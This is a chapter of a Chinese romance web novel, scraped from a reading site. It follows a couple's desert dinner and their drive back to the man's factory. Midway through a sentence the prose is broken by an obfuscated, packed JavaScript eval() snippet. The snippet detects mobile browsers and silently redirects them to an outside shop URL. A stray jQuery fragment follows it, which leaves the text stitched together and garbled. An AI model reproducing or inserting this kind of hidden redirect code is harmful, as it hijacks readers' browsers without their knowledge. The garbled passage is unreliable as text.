文趣网 > 都市小说 > 遇见20年前的你 > 103. 第一百零三章
    没想到赵攸县说的带她来吃好吃的,居然是在夜晚沙漠里围着篝火吃的。

    夜色朦胧,一大片广袤无垠的沙漠,远处还有点点橘红色的灯光埋在沙丘里,穹顶之上是漫天繁星。

    他们周围空无一人,每次食物送来,都是厨师从远处的酒店坐着一辆四驱车过来,摆完盘又走了。

    餐桌是一大顶木质矮桌,上面铺着很有民族特色的红蓝配色的桌布。桌子上已摆满了各式各样精美又小巧的美食。

    他俩挨着桌子,坐在铺就的厚实地毯上,共享着同一块羊毛毯,将那块柔软又大的米色毯子裹在两人身上,为的是挡夜里太阳下山后的凉意。这里昼夜温差大,更何况是在露天。

    赵攸县抬手拢了拢她身上的羊毛毯,将她裹紧,接着伸手抱住她,把她揽在怀里。

    何卓婷嘟囔着问,“你这样让我怎么吃?”

    “我喂你吃。”

    何卓婷有些不满地挣了挣,她从他怀里支起身子,她们坐着的沙发很软,直接落地沙土,要是想舒服地坐靠着却很容易陷入绵软的沙发,身子躺倒,又够不到桌子,端坐着,两条腿又得盘坐,十分不方便。

    她不满地瞪了他一眼,这沙漠露天晚餐确实浪漫,可吃饭很不方便啊,她甚至怀疑自从去了k城后,他的审美都不是原先他自己的,一个直男怎么会这些花里胡哨的东西。

    何卓婷又转眼一想,算了算了,反正就当陪他吃的最后一餐饭吧。

    肚子咕噜直叫,香味飘过来,勾得她馋了,目光移到桌上,招牌龙虾鱼子酱,肥美的松叶蟹……

    “我要吃那个螃蟹。”何卓婷立马不和他客气,直接使唤起人来。

    赵攸县把毯子都裹到她身上,又在她胸口拢了拢,才半起身去准备。

    他先是把松叶蟹蟹身分开,三两下,蟹身都露出了里面晶莹剔透的蟹肉,拿着松叶蟹蟹腿在旁边配好的点着小火煮着的高汤锅里烫一分钟,煮熟了再放到碗里,拿过来。

    他端着碗拿起其中一只长长的蟹腿,放到她嘴边。

    何卓婷愣了几秒,她没想到,他说的喂她吃,还真是手都不用她动,直接剥好蟹肉放到她嘴边。

    她张开嘴,蟹肉就被放进她的嘴里鲜滑爽嫩,口味鲜得她忍不住点头称赞。

    接着又是鲜甜的海胆、入口即化的小牛胸腺……

    “我吃不下了……你吃吧!”

    何卓婷盯着他拿过来的抹茶小蛋糕,只有大拇指一个手指长的大小,她实在是太饱了,摇摇头拒绝他的进食。

    喂饱她吃完一顿饭,赵攸县才开始慢悠悠地夹给自己。

    这顿晚饭,是他俩难得这么和谐的的一餐,没有争吵,没有赌气,更没有一拍两散。

    他甚至觉得,拥她在怀,看她安静地一口一口吃着自己递过来的食物,垂眼安静的模样格外惹人怜爱。

    “今天不回去了,我们就在他们这家沙漠酒店住一晚,如何?”

    赵攸县心里想着,仰望星空,拥她入怀,同床共枕一晚,似乎也挺浪漫的。

    “不行!”何卓婷想也没想就拒绝他。后知后觉的想,似乎拒绝得太过直接。她想了个理由,开始解释道,“我不想在这里睡,这里……”她环顾四周,“这里晚上没人多吓人,万一又有拿枪的过来取你小命呢。”

    赵攸县听着脸又黑了,他纠正她的话,“不会,我会叫好安保力量。”

    何卓婷怀疑自己听错了,她指了指前方所谓的沙漠酒店,就是一间玻璃房子,按她经历得出来的经验,这种玻璃几枪就能摧毁,还不等保镖出现,她们已经被击毙了。

    她开始软磨硬泡,“叔叔,我还想回去洗个热水澡,没带换洗衣服,换了床睡不着……”她突然又想到了什么别的借口,眼神亮亮,出口就说,“人多不好办事啊……”说出口,她赶紧闭嘴,拿手捂住自己的嘴唇。

    赵攸县瞬间呼吸一促,他激动得把把她搂得更紧,再把她捂着的手拉下来,低下头,抵着她额头,和她气息缠绕在一起,声音低哑,“丫头,你说的可是真的……这么多天,想我了吗?”

    何卓婷被他说得脸一红,一瞬间红到了耳根,她自然是知道他说的想是什么意思。

    现在骑虎难下,要是她说她不想,她实在想不出什么理由,可以今晚不要住在这什么狗屁沙漠酒店里,那要是她承认,那他们今晚很可能就要……

    所以她打算不承认!

    何卓婷撇开了脸,好让自己逃离他的禁锢,她眼神看向远处,漫无边际的沙漠里,唯有一片星辰在闪耀。

    她突然就想起了,那个乌龙的晚上,一个陌生男人在黑暗的房间里,带给她的颤栗。

    心底那些未解的疑惑又涌上心头。

    是否,人可以不讲情爱,只图片刻欢愉?

    难道男人孜孜不倦地追求更美丽的女人,就是个个都爱?那如果这样是爱情,那专一不专一又是什么?

    她突然又重新窝进他温暖的怀抱里,让那双强壮的臂膀搂住自己,就像母鸟张开它温暖又强大的翅膀将幼鸟护在自己身下一般,让人觉得很有安全感。

    她在他怀里换了个姿势,一手搭上他宽厚的胸膛,一手穿过整个窄腰,牢牢抓在他后腰的衬衣上。

    赵攸县被她这副依赖他的模样,弄得心潮澎湃,心底不知是哪处,翻腾着滚烫的岩浆,一下又一下冲刷他坚硬的岩石壁,只觉得血液倒流,胸膛闷胀。他真怕自己乱动,这样难得一时片刻的温情就消失了。他收紧了手臂,抬头望着黑色幕布里的星星,依旧维持着姿势,一言不发。

    过了很久,何卓婷扯了扯他背后的衬衫衣角,闷闷的声音从他怀里传来,“赵攸县,我们回去吧……”

    赵攸县低下头,怀里那颗乱动的黑色小头依旧抱着自己的腰身,心头都要被融化。

    此刻,何卓婷没有看见,眼前抱着她的男人,眼睛漆黑如墨,眼里盛满无人瞧见的温柔。就和天上的星星一般,一闪一闪,朦胧迷人又醉人。

    “好。”赵攸县手臂有些麻,但他咬牙,硬是将她打横抱起。

    在这个漫天荒沙之中,他的身影高大挺拔,头顶黑幕低压,黑色西裤包裹着他笔直的长腿,腰间一根黑色皮带收束,双手抱着穿着白色长裙的女人,她那双细嫩手臂圈在他肩上。

    回程的四驱车上,赵攸县依旧拥她在怀里,手臂箍得紧,他低头啄吻,不带一丝情欲,在她闭着眼的小脸上,细细密密,不放过任何一寸。车窗外,忽明忽暗地闪过灯光映照在他俩身上,给彼此增添一层朦胧而

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17832291|210928||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    美好的宁静。

    何卓婷闭上眼,她无法将自己的目光在此刻和他融汇在一起,是一种逃避和自我怀疑,只想麻痹片刻,享受当下的被需要的感觉。

    这种感觉,很多年了,又或者一直从未有过。

    她觉得自己不喜欢那种强烈激情的欢爱,那是一种不顾她感受的掠夺。只会让她觉得她的自我在丢失,被侵略,被占有,然后变得一无所有。

    他今天的吻是从她的发顶开始的,吻上的那一瞬间,从百汇传来一阵酥麻,蔓延开来,传到她的四肢,她在那一刻开始,她便不想再拒绝了。

    然后又到她的额头,鼻尖,再到脸颊。

    赵攸县感觉到怀里的小人放松了身体,宁静又秀美,松开禁锢的双臂,他的手抚上她的脸颊,手劲轻柔,她应是喜欢被温柔呵护的。

    想到这里,赵攸县手下更是变得极其小心,像是呵护珍宝。

    她觉得她自己的灵魂被安抚了。

    心口酸胀,喉咙哽咽,滚烫的眼泪流淌下来,心里装满了委屈,和无人述说的孤寂感。

    赵攸县感到手底一片湿漉,他没有着急去询问,不去打断她情绪宣泄,而是低下头,细致地将她脸颊上的泪珠吻落。

    她闭着眼,承受着男人温柔的包容,委屈渐渐被消融,情绪意外得变得平静。

    她送上自己的吻,点在赵攸县热烫的唇上,奖励似地和他唇畔相触。

    在她主动吻上来的那一刻,赵攸县心里一喜,他觉得他所有的付出都没白费,总算等到她心里隔阂解开的这一刻。

    他依旧小心翼翼,谨慎地不想把她吓跑,他轻柔地回吻,感受她的柔软。但是心头难言的那股激动,又让他等不急,耐不住,他想将她融进自己身体里。

    正当他想加深这个吻,前头不敢回头的司机此刻不得不出声打断,“赵总,到厂门口了。”

    赵攸县颔首,不发一言,开门下车,又将她抱起,直接急匆匆往里走。

    伍睿司和孙平还在会议室里商量是否要增加私人岛屿来回往返航运班次,就听到厂区园区里的进来一帮人,还有一辆观光车启动开进来的声音。

    他们两人默契地对视一秒,就猜到是谁。

    这个时间还大摇大摆弄这么大阵仗,不是他们那个铁树开花的老赵还是谁。

    前段时间,厂区员工已被派遣回头避风头了一大半,这段时间都在忙私人岛上的实验室的事务,厂里炼的油量储备也早早提前备下,确实没什么业务可以忙。

    伍睿司极八卦地跑出去站在二楼阳台上,远远就看到那辆观光车里的人,他朝身后还在会议室里研究图纸的孙平叫喊了一声,“你快来看呀!”

    等孙平慢悠悠踱步出来,伍睿司埋怨地斜睨了他一眼,“叫你快点出来,你看吧,见不到了吧?”

    见孙平一脸懵,他恨铁不成钢地说,“你不关心下你家老板的感情生活?”也不顾对方接不接话,顾自己说了下去,“啧啧啧,大晚上抱着人家小姑娘两个人一辆车进来……”

    孙平忍不住怼他,“你咋怎么酸,你也回去找你家老婆去啊,在这里说人什么闲话。”

    见孙平说完转身就走,倒显得他十分八卦一般,伍睿司愤愤道,“喂!你……我也想回啊……”